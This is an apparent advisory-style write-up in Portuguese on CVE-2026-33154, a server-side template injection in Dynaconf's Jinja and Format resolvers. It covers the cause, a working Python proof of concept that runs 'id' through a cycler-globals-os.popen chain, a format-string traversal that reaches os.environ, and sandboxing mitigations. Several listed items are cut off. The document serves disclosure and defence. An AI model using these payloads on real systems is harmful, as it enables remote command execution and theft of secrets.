
Prova de conceito de exploit para CVE-2026-33154, demonstrando execução remota de código via SSTI no resolvedor Jinja do Dynaconf, com análise e orientações de mitigação.
O Dynaconf é vulnerável a Injeção de Template no Servidor (SSTI) devido à avaliação insegura de templates no resolvedor __@Jinja__. Quando o pacote jinja2 está instalado, o Dynaconf avalia expressões de template incorporadas em valores de configuração sem um ambiente isolado (sandbox).
Se um atacante puder influenciar fontes de configuração como:
.env...ele pode executar comandos arbitrários do sistema operacional no host. Além disso, o resolvedor __@Format__ permite a travessia do grafo de objetos, o que pode expor objetos sensíveis do runtime e variáveis de ambiente.
A vulnerabilidade surge porque os resolvedores de string do Dynaconf carecem de limites de segurança adequados.
__@Jinja__O resolvedor __@Jinja__ renderiza templates usando avaliação completa do Jinja2. No entanto, o contexto de renderização não é isolado (sandbox), o que permite que atacantes acessem atributos internos do Python. Usando objetos como cycler, atacantes podem alcançar os globais do Python e importar o módulo os.
Caminho de ataque de exemplo:
cycler → __init__ → __globals__ → os → popen()
Isso leva à execução arbitrária de comandos.
__@Format__O resolvedor __@Format__ realiza formatação de strings do Python usando objetos internos. Isso permite que atacantes percorram o grafo de objetos do Python e acessem objetos sensíveis do runtime.
Travessia de exemplo:
{this.__class__.__init__.__globals__[os].environ}
Isso pode expor:
import os
from dynaconf import Dynaconf
# Injeção de configuração maliciosa
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Resultado da Execução de Comando:")
print(settings.RCE)
A exploração bem-sucedida permite que atacantes:
Como os valores de configuração podem se originar de pipelines de CI/CD, sistemas de orquestração de contêineres ou injeção de ambiente, esta vulnerabilidade pode se tornar explorável remotamente em implantações do mundo real.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ a Valores Confiáveissafe_value = "{name}".format(name=trusted_name)